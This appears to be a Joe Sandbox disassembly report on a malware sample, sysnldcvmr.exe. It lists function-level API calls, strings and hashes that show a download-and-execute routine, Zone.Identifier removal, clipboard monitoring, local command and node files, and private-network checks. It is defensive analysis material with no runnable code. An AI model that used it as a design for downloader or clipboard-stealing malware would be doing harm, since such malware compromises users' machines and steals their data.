DeleteFileW.KERNEL32(?), ref: 0040EC84
Sleep.KERNEL32(000007D0), ref: 0040ECA5
ExitProcess.KERNEL32 ref: 0040ECCD
DeleteFileW.KERNEL32(?), ref: 0040ECE3
CloseHandle.KERNEL32(000000FF), ref: 0040ECF0
InternetCloseHandle.WININET(00000000), ref: 0040ECFD
InternetCloseHandle.WININET(00000000), ref: 0040ED0A
Sleep.KERNEL32(000003E8), ref: 0040ED15
rand.MSVCRT ref: 0040ED2A
Sleep.KERNEL32 ref: 0040ED3B
rand.MSVCRT ref: 0040ED41
rand.MSVCRT ref: 0040ED55
wsprintfW.USER32 ref: 0040ED7C
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040ED99
wsprintfW.USER32 ref: 0040EDB9
DeleteFileW.KERNEL32(?), ref: 0040EDC9
Sleep.KERNEL32(000007D0), ref: 0040EDEA
ExitProcess.KERNEL32 ref: 0040EE11
DeleteFileW.KERNEL32(?), ref: 0040EE20

Strings

%temp%, xrefs: 0040EB0B
%s:Zone.Identifier, xrefs: 0040EDAD
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EB85
%s\%d%d.exe, xrefs: 0040EB68
]u@, xrefs: 0040EE06, 0040ECC2
.Mw, xrefs: 0040EC5B, 0040ECF0
%s\%d%d.exe, xrefs: 0040ED70
%s:Zone.Identifier, xrefs: 0040EC68

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$Internetrand$CloseDeleteHandleSleepwsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$]u@$.Mw
API String ID: 3709769524-1426338499
Opcode ID: 9dac2db83c5cbbf107ffe4ab26957e685992ef8480f9046e984eeb60bc069681
Instruction ID: cec73e08c6f056f0168379cb50c3066ff26982e4471096ca0769119a3115f73e
Opcode Fuzzy Hash: 9dac2db83c5cbbf107ffe4ab26957e685992ef8480f9046e984eeb60bc069681
Instruction Fuzzy Hash: 5E81E9B5900318ABE720DB61DC49FEA3379AB88701F0484FDF609A51C1DAB99BD4CF59

Function 0040AEA0 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ADD0: gethostname.WS2_32(?,00000100), ref: 0040ADEC
Part of subcall function 0040ADD0: gethostbyname.WS2_32(?), ref: 0040ADFE

strcmp.NTDLL ref: 0040AED0

Strings

10., xrefs: 0040AF9F
0.0.0.0, xrefs: 0040AEBE
.10., xrefs: 0040AFDB
.127, xrefs: 0040AEFF
127., xrefs: 0040AEE1
.127., xrefs: 0040AF1D
.192., xrefs: 0040AF7C
.192, xrefs: 0040AF5E
192., xrefs: 0040AF40
.10, xrefs: 0040AFBD

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: c5830f0f9c36f6cf05290b869868c0dc91983b72ef23a24c3b2e675c34fe0909
Instruction ID: 458019ee7e4258451e0266341ac37eb9dcc64f8272ac2f4812142232ba39784f
Opcode Fuzzy Hash: c5830f0f9c36f6cf05290b869868c0dc91983b72ef23a24c3b2e675c34fe0909
Instruction Fuzzy Hash: 406162B4A00305BBDF00EF65EC56BAA37659B10348F14847EE8496A3C1E73DE964C79E

Function 00405970 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040597C
SetClipboardViewer.USER32(?), ref: 004059C8
SetWindowLongW.USER32(?,000000EB,?), ref: 004059DB
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A30
OpenClipboard.USER32(00000000), ref: 00405A77
GetClipboardData.USER32(00000000), ref: 00405A89
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B90
ChangeClipboardChain.USER32(?,?), ref: 00405B9E
DefWindowProcA.USER32(?,?,?,?), ref: 00405BB4

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 49ecf4cbec24bbc80f079b1b2f1b6d88094832ae9fccf906fc95d8e2fe17205b
Instruction ID: 2c6a07511b676f4089081adff438ee2b95572153aa6d486a7a165f398962c3b3
Opcode Fuzzy Hash: 49ecf4cbec24bbc80f079b1b2f1b6d88094832ae9fccf906fc95d8e2fe17205b
Instruction Fuzzy Hash: 9A711A74A00608EBDF14DFA4D988BAF77B4EF48301F14852AE505B6290D779AA80CF69

Function 00406BC0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406BCE
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysnldcvmr.exe,00000104), ref: 00406BE0

Part of subcall function 0040E770: CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
Part of subcall function 0040E770: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
Part of subcall function 0040E770: CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

ExitThread.KERNEL32 ref: 00406D4A

Part of subcall function 004063A0: GetLogicalDrives.KERNEL32 ref: 004063A6
Part of subcall function 004063A0: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
Part of subcall function 004063A0: RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
Part of subcall function 004063A0: RegCloseKey.ADVAPI32(?), ref: 0040643E

Sleep.KERNEL32(00000BB8), ref: 00406D3D

Part of subcall function 004062C0: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406313

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C7F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C94
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406CAF
wsprintfW.USER32 ref: 00406CC2
wsprintfW.USER32 ref: 00406CE2
wsprintfW.USER32 ref: 00406D05

Strings

%s%s, xrefs: 00406CF9
C:\Windows\sysnldcvmr.exe, xrefs: 00406BD9, 00406BE6
Unnamed volume, xrefs: 00406CD6
(%dGB), xrefs: 00406CB6

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$C:\Windows\sysnldcvmr.exe$Unnamed volume
API String ID: 1650488544-3455140397
Opcode ID: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction ID: f0476b63a1379e6dca01d87e2afc3553bbde202c422fcd3a3a6a752a7ad43008
Opcode Fuzzy Hash: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction Fuzzy Hash: 53418471900318ABEB14DB94DD45FEE7778BB44700F1045A9F20AA51D0DB785B94CF6A

Function 00405880 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405898
GetModuleHandleW.KERNEL32(00000000), ref: 004058B0
Sleep.KERNEL32(00000001), ref: 004058C4
GetTickCount.KERNEL32 ref: 004058CA
GetTickCount.KERNEL32 ref: 004058D3
wsprintfW.USER32 ref: 004058E6
RegisterClassExW.USER32(00000030), ref: 004058F3
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040591C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405937
TranslateMessage.USER32(?), ref: 00405945
DispatchMessageA.USER32(?), ref: 0040594F
ExitThread.KERNEL32 ref: 00405961

Strings

0, xrefs: 004058A0
%x%X, xrefs: 004058DA

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction ID: 85e967beda8c0998690da8d5d0b59a8f0be79fc45de23a81cc248e6733ffc6a2
Opcode Fuzzy Hash: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction Fuzzy Hash: DB211DB1940308BBEB10ABA0DC49FEE7B78EB04711F10812AF601BA1D0DBB99545CF68

Function 0040E7C0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040E7F2
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040E813
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040E832
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E84B
memcmp.NTDLL ref: 0040E8DD
UnmapViewOfFile.KERNEL32(00000000), ref: 0040E900
CloseHandle.KERNEL32(00000000), ref: 0040E90A
CloseHandle.KERNEL32(000000FF), ref: 0040E914
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040E933
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040E958
CloseHandle.KERNEL32(000000FF), ref: 0040E962

Strings

.Mw, xrefs: 0040E90A, 0040E914, 0040E962

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .Mw
API String ID: 3902698870-2453323595
Opcode ID: 3dd30dc439ad3f7a5ebd7dce9fe05c3210832a6c06382493a81f5afd8b17f853
Instruction ID: 0da617c1af0bd4dbc976a582f880bbe3058530cb6ade4bb6176e088db5cb8200
Opcode Fuzzy Hash: 3dd30dc439ad3f7a5ebd7dce9fe05c3210832a6c06382493a81f5afd8b17f853
Instruction Fuzzy Hash: D3516DB5E00308FBDB14DBA4CC49BEEB774AB48304F108569F611BB2C1D7B9AA40CB58

Function 0040B2C0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00416690,?,?,?,?,?,?,00407A56), ref: 0040B2CB
CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B31D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B33E
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B35D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B372
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B3D8
CloseHandle.KERNEL32(00000000), ref: 0040B3E2
CloseHandle.KERNEL32(000000FF), ref: 0040B3EC

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Strings

Vz@, xrefs: 0040B3E8, 0040B36E, 0040B33A
C:\Users\user\tbtnds.dat, xrefs: 0040B318
.Mw, xrefs: 0040B3E2, 0040B3EC

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbtnds.dat$Vz@$.Mw
API String ID: 439099756-284525557
Opcode ID: b646a7b07f4a3dc35abcfcdb9ddb4a95ecf8a323ec4e95c146113b602af952b7
Instruction ID: 3b431581fb8605495e02e5545908ab4f756817927d1539066ca4ce1953719e7c
Opcode Fuzzy Hash: b646a7b07f4a3dc35abcfcdb9ddb4a95ecf8a323ec4e95c146113b602af952b7
Instruction Fuzzy Hash: 91411C74E40309EBDB10DFA4DC4ABAEB774EB44704F208569EA11BA2C1C7B96541CB9D

Function 00405BC0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00415E30,?,?,?,?,?,00407A20), ref: 00405BCB
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407A20), ref: 00405BE5
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C06
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C25
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C3E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405CCB
CloseHandle.KERNEL32(00000000), ref: 00405CD5
CloseHandle.KERNEL32(000000FF), ref: 00405CDF

Strings

.Mw, xrefs: 00405CD5, 00405CDF
C:\Users\user\tbtcmds.dat, xrefs: 00405BE0

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbtcmds.dat$.Mw
API String ID: 3956458805-796022103
Opcode ID: 7cb746dfae3c77901cbfeb316d20c0ef760ad0ada3adb76a8fe376954cbd565b
Instruction ID: 44e1aa5071e985e1939c8a19f3b292d5e35966d71e561f6040ad28af9ac572d1
Opcode Fuzzy Hash: 7cb746dfae3c77901cbfeb316d20c0ef760ad0ada3adb76a8fe376954cbd565b
Instruction Fuzzy Hash: 4B31FD74E44309EBEB14DBA4CD49BAFBB74EB48700F208569E601772C0D7B96941CF99

Function 0040E980 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E98E
memset.NTDLL ref: 0040E99E
CreateProcessW.KERNEL32(00000000,Gy@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040E9D7
Sleep.KERNEL32(000003E8), ref: 0040E9E7
ShellExecuteW.SHELL32(00000000,open,Gy@,00000000,00000000,00000000), ref: 0040EA02
Sleep.KERNEL32(000003E8), ref: 0040EA1C

Strings

, xrefs: 0040EA11
D, xrefs: 0040E9A6
open, xrefs: 0040E9FB
Gy@, xrefs: 0040E9D1, 0040E9F7, 0040E9D4, 0040E9FA

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$Gy@$open
API String ID: 3787208655-4184347819
Opcode ID: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction ID: afb7e97e53159593a654a1f5a0506a904f07d925a59540ad2b26a1d3cea08ed0
Opcode Fuzzy Hash: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction Fuzzy Hash: 08114271A90308BBE710DB91CD46FDE7774AB04B00F200129F6087E2C1D6F9AA54CB59

Function 0040D2D0 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0040D2D6
GetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,020D0638,000000FF), ref: 0040D2DD
GetCurrentThread.KERNEL32 ref: 0040D2E8
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,020D0638,000000FF), ref: 0040D2EF
InterlockedExchangeAdd.KERNEL32(00407AD2,00000000), ref: 0040D312
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D347
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D392
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D3AE
Sleep.KERNEL32(00000001), ref: 0040D3DE
GetCurrentThread.KERNEL32 ref: 0040D3ED
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2), ref: 0040D3F4

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: a8d0ef9cc0f8c3f9fe641a145e15df681aa384361be6a62e8494921e8eef4e23
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 0A411A74D00209EFDB04DFE4D888BAEBB71EB44315F14816AE916A7380D7789A85CF5A

Function 00406060 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 176
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00415E30,00000000,0040B8F2,006A0266,?,0040B90E,00000000,0040CBEC,?), ref: 0040606F
memcpy.NTDLL(?,00000000,00000100), ref: 00406101
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406225
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406287
FlushFileBuffers.KERNEL32(000000FF), ref: 00406293
CloseHandle.KERNEL32(000000FF), ref: 0040629D
LeaveCriticalSection.KERNEL32(00415E30,?,?,?,?,?,?,0040B90E,00000000,0040CBEC,?), ref: 004062A8

Strings

.Mw, xrefs: 0040629D
C:\Users\user\tbtcmds.dat, xrefs: 00406220

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: C:\Users\user\tbtcmds.dat$.Mw
API String ID: 1457358591-796022103
Opcode ID: c2df7c7b077ac60798c6fa4429fae4edc702456a9307d602ca0cebd3616530a6
Instruction ID: bb102638da67a563b53aa46b2a5b6ce2f3b38349fb156310049a7a66f3822ae6
Opcode Fuzzy Hash: c2df7c7b077ac60798c6fa4429fae4edc702456a9307d602ca0cebd3616530a6
Instruction Fuzzy Hash: 1D71DEB5E002099BCB04DF94D981FEFB7B1BB88304F14816DE505BB382D779A951CBA5

Function 0040AB80 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040AC18
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040AC39
FlushFileBuffers.KERNEL32(000000FF), ref: 0040AC43
CloseHandle.KERNEL32(000000FF), ref: 0040AC4D
InterlockedExchange.KERNEL32(00415260,0000003D), ref: 0040AC5A

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040AC13
.Mw, xrefs: 0040AC4D

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbtnds.dat$.Mw
API String ID: 442028454-2746958872
Opcode ID: 32a3c22131d2a02b3799ca2c8e2e6ace852a549deac0f95c4e37c00c6502dd7f
Instruction ID: b83d763b1b95064d17473309c927232932c49c75998401e70db37280cdfd902f
Opcode Fuzzy Hash: 32a3c22131d2a02b3799ca2c8e2e6ace852a549deac0f95c4e37c00c6502dd7f
Instruction Fuzzy Hash: 46318CB4E00208EFDB00CF94EC85FAEB775BB48300F218569E515A7390C774AA51CB59

Function 0040D890 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Sleep.KERNEL32(000003E8), ref: 0040D8EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

HTTP/1.1 200 OK, xrefs: 0040D8FF
LOCATION: , xrefs: 0040D915

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction ID: aa1d0310fbaa0e5548ad160d3530673878f91993e129ff42f305da2a80d3425b
Opcode Fuzzy Hash: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction Fuzzy Hash: 88215EB5D00218ABDB20DF64DC49BE97774AB04708F1486E9E719B62C0C7B95ACA8F5C

Function 0040EA30 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EA47
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EA66
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EA8F
